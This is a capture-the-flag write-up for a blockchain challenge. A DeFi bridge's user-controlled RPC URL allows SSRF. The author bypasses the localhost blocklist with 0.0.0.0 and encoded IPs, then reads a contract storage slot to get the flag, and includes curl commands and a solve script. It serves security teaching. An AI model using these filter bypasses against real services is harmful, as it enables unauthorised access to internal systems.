[Blackbox] Web3_Bridge
[Blackbox] Web3_Bridge
Platform: caplag | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-22 | Status: Solved Techniques: bytecode_string_extraction, eth_getStorageAt, ssrf_filter_bypass_alternative_ip, ssrf_via_user_controlled_url
Summary
Task: DeFi Bridge app with user-controlled RPC URL for transaction verification. Solution: SSRF via 0.0.0.0 bypass to access internal Anvil chain, read flag from contract storage slot using eth_getStorageAt.
[Blackbox] Web3_Bridge — caplag
Description
A mini-stack of DeFi protocols (Bridge, VIP, Staking, Lending, Governance) is presented. The architecture includes an Nginx frontend, a backend server, and a local Anvil (Foundry) network as the blockchain environment. The task focuses on the Bridge component.
Infrastructure:
- Frontend:
https://task-stock-market-9c989f3799cf241c.caplag-task.ru/ - Anvil RPC (external):
not-web.caplag-task.ru:31719 - Chain ID:
31337 - Attacker Private Key:
0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d - Attacker Address:
0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Architecture:
flowchart LR
U[User + MetaMask] -->|HTTP :8080| F[Nginx Frontend]
F -->|/api/* proxy| B[Backend API]
B -->|JSON-RPC (SSRF target)| C[Anvil chain]
U -->|JSON-RPC :8545| C
D[Deployer (Foundry)] -->|deploy + setup| C
D -->|writes config.json| V[(shared volume)]
V --> F
V --> B
The architecture schema itself labels the Backend→Anvil connection as "SSRF target" — a direct hint.
Analysis
Reconnaissance
Fetched the frontend HTML and discovered pages: Bridge, VIP/Membership, Earn (Staking), Lend, Governance. The JavaScript at /js/app.js revealed all contract ABIs and application logic. The config at /runtime/config.json exposed all deployed contract addresses:
json read-only • copy allowed{ "AccessManager": "0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512", "CapLagToken": "0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9", "ConfigRegistry": "0x5FbDB2315678afecb367f032d93F642f64180aa3", "FlashLoanProvider": "0x0B306BF915C4d645ff596e518fAf3F9669b97016", "Kaboom": "0x3Aa5ebB10DC797CAC828524e59A333d0A371443c", "LendingVault": "0x0DCd1Bf9A1b36cE34237eEaFef220932846BCD82", "Player": "0x70997970C51812dc3A010C7d01b50e0d17dc79C8", "SimpleAMM": "0x8A791620dd6260079BF849Dc5567aDC3F2FdC318", "StakingPool": "0xa513E6E4b8f2a923D98304ec87F64353C4D5C853", "TreasuryImplementation": "0x9A9f2CCfdE556A7E9Ff0848998Aa4a0CFD8863AE", "TreasuryProxy": "0x68B1D87F95878fE05B998F19b66F4baba5De1aed", "USDC": "0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9", "VipNonce": 42, "VipSignatureUsed": "0x6ed999961388ab2be9369503d9b9d7d22fe54cdc48b81d49bd03926ce50232b06f4be70333b24d2b55709254301578a3570d7fdb5204173ac3195bcab604135a1b" }
Identifying the SSRF in Bridge
The Bridge page (/bridge) has a "Verify Transaction" form with two inputs:
- A transaction hash
- An RPC endpoint URL (under "Advanced Settings", defaulting to
https://cloudflare-eth.com)
The frontend JavaScript shows the runBridge() function sends a POST to /api/bridge/verify with { txHash, rpcUrl }. The backend takes the user-supplied rpcUrl and makes a JSON-RPC call (likely eth_getTransactionReceipt) to that URL — a classic Server-Side Request Forgery (SSRF) vulnerability.
SSRF Filter Bypass
The backend has a blocklist for common localhost representations:
| URL | Result |
|---|---|
http://localhost:8545 | {"error":"rpcUrl_blocked"} ❌ |
http://127.0.0.1:8545 | {"error":"rpcUrl_blocked"} ❌ |
http://127.0.0.1.nip.io:8545 | {"error":"rpcUrl_blocked"} ❌ |
http://0.0.0.0:8545 | ✅ WORKS |
http://0x7f000001:8545 | ✅ WORKS (hex IP) |
http://2130706433:8545 | ✅ WORKS (decimal IP) |
http://017700000001:8545 | ✅ WORKS (octal IP) |
http://localtest.me:8545 | ✅ WORKS (DNS rebinding) |
| |
The simplest bypass: 0.0.0.0 resolves to localhost but wasn't in the blocklist.
Solution
Step 1: Exploit SSRF to access internal Anvil chain
With SSRF access to the internal Anvil chain, verify transactions on the internal chain:
bash read-only • copy allowedcurl -s -X POST \ "https://task-stock-market-9c989f3799cf241c.caplag-task.ru/api/bridge/verify" \ -H "Content-Type: application/json" \ -d '{ "txHash": "0xf5312abf08664ddb87c7ce1360ef73161367ae5810c55fac41f308f4f6cce9a3", "rpcUrl": "http://0.0.0.0:8545" }'
This returned the transaction receipt for the ConfigRegistry contract deployment.
Step 2: Find the flag
Method A — In contract creation bytecode (block 1 transaction input data):
By examining block 1's transaction, the contract creation bytecode contained the flag as a hex-encoded string at the end:
...6361706c61677b737372665f6272696467655f73746f726167655f6c65616b7d
Decoding:
bash read-only • copy allowedecho "6361706c61677b737372665f6272696467655f73746f726167655f6c65616b7d" | xxd -r -p # Output: caplag{REDACTED}
Method B — In storage slot 0 of ConfigRegistry contract:
bash read-only • copy allowedcurl -s -X POST "http://not-web.caplag-task.ru:31719" \ -H "Content-Type: application/json" \ -d '{ "jsonrpc": "2.0", "method": "eth_getStorageAt", "params": [ "0x5FbDB2315678afecb367f032d93F642f64180aa3", "0x0", "latest" ], "id": 1 }'
Response:
json read-only • copy allowed{ "jsonrpc": "2.0", "id": 1, "result": "0x6361706c61677b737372665f6272696467655f73746f726167655f6c65616b7d" }
Same hex string decoding to the flag.
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 """ caplag — [Blackbox] Web3_Bridge solver SSRF via Bridge verify endpoint → read internal chain storage → flag """ import requests import binascii TARGET = "https://task-stock-market-9c989f3799cf241c.caplag-task.ru" SSRF_RPC = "http://0.0.0.0:8545" # bypass blocklist CONFIG_REGISTRY = "0x5FbDB2315678afecb367f032d93F642f64180aa3" # Step 1: Use SSRF to read storage slot 0 of ConfigRegistry # The bridge verify endpoint proxies our JSON-RPC request to the internal Anvil # We abuse this to call eth_getStorageAt on the internal chain # First, we need a valid-looking txHash to pass validation # Use the ConfigRegistry deployment tx from block 1 resp = requests.post( f"{TARGET}/api/bridge/verify", json={ "txHash": "0xf5312abf08664ddb87c7ce1360ef73161367ae5810c55fac41f308f4f6cce9a3", "rpcUrl": SSRF_RPC } ) print(f"[*] SSRF verify response: {resp.status_code}") print(f"[*] Response: {resp.text[:200]}") # Step 2: Directly read storage via external RPC (if available) EXTERNAL_RPC = "http://not-web.caplag-task.ru:31719" resp = requests.post( EXTERNAL_RPC, json={ "jsonrpc": "2.0", "method": "eth_getStorageAt", "params": [CONFIG_REGISTRY, "0x0", "latest"], "id": 1 } ) result = resp.json()["result"] print(f"[*] Storage slot 0: {result}") # Step 3: Decode hex to ASCII flag_hex = result.replace("0x", "") flag = binascii.unhexlify(flag_hex).decode("utf-8") print(f"[+] Flag: {flag}")
Notes
- The architecture schema (
schema.txt) directly indicated SSRF as the attack vector 0.0.0.0is the simplest and most reliable way to bypass typical localhost blocklists- Data on the blockchain is never private — even Solidity
privatevariables can be read viaeth_getStorageAt - The flag was accessible via two paths: through the deployment transaction bytecode and through the contract's storage slot